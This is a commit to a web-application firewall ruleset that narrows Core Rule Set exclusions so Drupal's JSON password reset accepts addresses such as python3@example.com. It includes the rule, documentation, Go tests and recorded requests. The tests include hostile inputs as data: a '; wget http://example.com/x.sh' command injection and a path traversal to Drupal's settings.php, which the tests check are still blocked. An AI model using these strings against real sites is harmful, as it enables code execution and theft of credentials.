Core Rule Set: Drupal's JSON password reset takes an address (closes #262)
check / check (push) Successful in 4m26s

POST /user/password?_format=json with a mail of python3@example.com or
powershell@example.com was refused while bodies are read. On that path,
the JSON field mail now skips 932120 and 932260, the two rules the
recorded addresses set off, unless the query has a json.mail parameter.
Recorded from Drupal 11.4.11.

Model: opus-5-5
This commit is contained in:
sneak committed 2026-11-10 01:08:51 +00:00
1 parent c1bb813a5e
commit e012b889f9
4 files changed
+47 -1

No files matched your search

+1
View File
@@ -977,6 +977,7 @@ requests. The changes hold in front of every app, and no setting undoes them:
- `name` and `pass` when signing in (930120, 932120, 932250, 932260). - `name` and `pass` when signing in (930120, 932120, 932250, 932260).
- `name` when resetting a password through Drupal's JSON format on - `name` when resetting a password through Drupal's JSON format on
`/user/password`, for the same four rules. `/user/password`, for the same four rules.
- `mail` in that same reset, for 932120 and 932260 only.
- `name` when signing up, editing an account and commenting without an - `name` when signing up, editing an account and commenting without an
account, for the same four rules. account, for the same four rules.
- `mail` on those forms, for 930120, 932120 and 932260 only. - `mail` on those forms, for 930120, 932120 and 932260 only.
+9
View File
@@ -228,3 +228,12 @@ SecRule REQUEST_FILENAME "@rx ^(?:/[a-z]{2,3}(?:-[a-z]+)?)?/user/password$" \
ctl:ruleRemoveTargetById=932120;ARGS:json.name,\ ctl:ruleRemoveTargetById=932120;ARGS:json.name,\
ctl:ruleRemoveTargetById=932250;ARGS:json.name,\ ctl:ruleRemoveTargetById=932250;ARGS:json.name,\
ctl:ruleRemoveTargetById=932260;ARGS:json.name" ctl:ruleRemoveTargetById=932260;ARGS:json.name"
# The same reset may name the account by its address in the JSON field mail:
# POST /user/password?_format=json with a mail of python3@example.com. An
# address skips only the two rules the recorded addresses set off.
SecRule REQUEST_FILENAME "@rx ^(?:/[a-z]{2,3}(?:-[a-z]+)?)?/user/password$" \
"id:900818,phase:1,pass,nolog,chain"
SecRule &ARGS_GET:json.mail "@eq 0" \
"ctl:ruleRemoveTargetById=932120;ARGS:json.mail,\
ctl:ruleRemoveTargetById=932260;ARGS:json.mail"
+32 -1
View File
@@ -183,8 +183,9 @@ func TestDrupalAttacksAreRefusedInTheJSONPasswordReset(t *testing.T) {
`; wget http://example.com/x.sh`, `; wget http://example.com/x.sh`,
`../../sites/default/settings.php`, `../../sites/default/settings.php`,
} { } {
for _, field := range []string{"name", "mail"} {
r := request{http.MethodPost, drupalJSONPasswordReset, []string{jsonBody}} r := request{http.MethodPost, drupalJSONPasswordReset, []string{jsonBody}}
body := `{"name":"` + attack + `"}` body := `{"` + field + `":"` + attack + `"}`
got, _ := inspectBody(t, crs, r, body) got, _ := inspectBody(t, crs, r, body)
if got.Score < drupalThreshold { if got.Score < drupalThreshold {
@@ -193,6 +194,15 @@ func TestDrupalAttacksAreRefusedInTheJSONPasswordReset(t *testing.T) {
} }
} }
// An address keeps 932250, which refuses ls -la.
r := request{http.MethodPost, drupalJSONPasswordReset, []string{jsonBody}}
got, _ := inspectBody(t, crs, r, `{"mail":"ls -la"}`)
if got.Score < drupalThreshold || !slices.Contains(got.RuleIDs, 932250) {
t.Errorf("POST %s mail ls -la: %+v, want 932250 among them", r.target, got)
}
}
// drupalCommandAttack is a shell command that only 932230 and 932235 refuse // drupalCommandAttack is a shell command that only 932230 and 932235 refuse
// on the fields that skip the other command rules, as a query value. // on the fields that skip the other command rules, as a query value.
const drupalCommandAttack = "%3B%20wget%20http%3A%2F%2Fexample.com%2Fx.sh" const drupalCommandAttack = "%3B%20wget%20http%3A%2F%2Fexample.com%2Fx.sh"
@@ -357,6 +367,16 @@ func TestDrupalHardValuesPassInTheBodyFields(t *testing.T) {
t.Errorf("POST %s %s refused: %+v", r.target, body, got) t.Errorf("POST %s %s refused: %+v", r.target, body, got)
} }
} }
for _, address := range []string{"python3@example.com", "powershell@example.com"} {
r := request{http.MethodPost, "/fr" + drupalJSONPasswordReset, []string{jsonBody}}
body := `{"mail":"` + address + `"}`
got, _ := inspectBody(t, crs, r, body)
if got.Score >= drupalThreshold {
t.Errorf("POST %s %s refused: %+v", r.target, body, got)
}
}
} }
func TestDrupalExclusionsAreNarrow(t *testing.T) { func TestDrupalExclusionsAreNarrow(t *testing.T) {
@@ -436,4 +456,15 @@ func TestDrupalBodyFieldsStayCheckedInTheQuery(t *testing.T) {
t.Errorf("POST %s let through: %+v", r.target, got) t.Errorf("POST %s let through: %+v", r.target, got)
} }
} }
// So does the JSON field mail, beside json.mail in the query.
r := request{
http.MethodPost, drupalJSONPasswordReset + "&json.mail=python3%40example.com",
[]string{jsonBody},
}
got, _ := inspectBody(t, crs, r, `{"mail":"python3@example.com"}`)
if got.Score < drupalThreshold {
t.Errorf("POST %s let through: %+v", r.target, got)
}
} }
+5
View File
@@ -412,6 +412,11 @@
{"method": "POST", "target": "/user/password?_format=json", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Content-Type: application/json"], "body": "{\"name\": \"powershell\"}"} {"method": "POST", "target": "/user/password?_format=json", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Content-Type: application/json"], "body": "{\"name\": \"powershell\"}"}
{"method": "POST", "target": "/user/password?_format=json", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Content-Type: application/json"], "body": "{\"name\": \"ls -la\"}"} {"method": "POST", "target": "/user/password?_format=json", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Content-Type: application/json"], "body": "{\"name\": \"ls -la\"}"}
{"method": "POST", "target": "/user/password?_format=json", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Content-Type: application/json"], "body": "{\"name\": \".htaccess\"}"} {"method": "POST", "target": "/user/password?_format=json", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Content-Type: application/json"], "body": "{\"name\": \".htaccess\"}"}
{"method": "POST", "target": "/user/password?_format=json", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Content-Type: application/json"], "body": "{\"mail\": \"example@example.com\"}"}
{"method": "POST", "target": "/user/password?_format=json", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Content-Type: application/json"], "body": "{\"mail\": \"python3@example.com\"}"}
{"method": "POST", "target": "/user/password?_format=json", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Content-Type: application/json"], "body": "{\"mail\": \"powershell@example.com\"}"}
{"method": "POST", "target": "/user/password?_format=json", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Content-Type: application/json"], "body": "{\"mail\": \"ls-la@example.com\"}"}
{"method": "POST", "target": "/user/password?_format=json", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Content-Type: application/json"], "body": "{\"mail\": \"htaccess@example.com\"}"}
{"method": "POST", "target": "/user/logout?_format=json&token=6g2zVXyWnyiVNy0zy76IqHwJfb_Q7fY4m1cpnZyh0LY", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Cookie: SESSexample=example-session-value"], "body": ""} {"method": "POST", "target": "/user/logout?_format=json&token=6g2zVXyWnyiVNy0zy76IqHwJfb_Q7fY4m1cpnZyh0LY", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "PATCH", "target": "/jsonapi/node/article/77b584a4-587e-4273-90b7-2677a1502feb", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Cookie: SESSexample=example-session-value", "Accept: application/vnd.api+json", "Content-Type: application/vnd.api+json", "X-Csrf-Token: fK1nVGRmImLpZRnGKVLo_fRY4zvgCTRWbMAXJ0023ho"], "body": "{\"data\": {\"type\": \"node--article\", \"id\": \"77b584a4-587e-4273-90b7-2677a1502feb\", \"attributes\": {\"title\": \"Edited about docker-compose.yml\", \"body\": {\"value\": \"<p>SELECT rows FROM table, then ls -la.</p>\", \"format\": \"basic_html\"}}}}"} {"method": "PATCH", "target": "/jsonapi/node/article/77b584a4-587e-4273-90b7-2677a1502feb", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Cookie: SESSexample=example-session-value", "Accept: application/vnd.api+json", "Content-Type: application/vnd.api+json", "X-Csrf-Token: fK1nVGRmImLpZRnGKVLo_fRY4zvgCTRWbMAXJ0023ho"], "body": "{\"data\": {\"type\": \"node--article\", \"id\": \"77b584a4-587e-4273-90b7-2677a1502feb\", \"attributes\": {\"title\": \"Edited about docker-compose.yml\", \"body\": {\"value\": \"<p>SELECT rows FROM table, then ls -la.</p>\", \"format\": \"basic_html\"}}}}"}
{"method": "GET", "target": "/jsonapi/node/article/77b584a4-587e-4273-90b7-2677a1502feb?include=uid", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Cookie: SESSexample=example-session-value", "Accept: application/vnd.api+json"], "body": ""} {"method": "GET", "target": "/jsonapi/node/article/77b584a4-587e-4273-90b7-2677a1502feb?include=uid", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Cookie: SESSexample=example-session-value", "Accept: application/vnd.api+json"], "body": ""}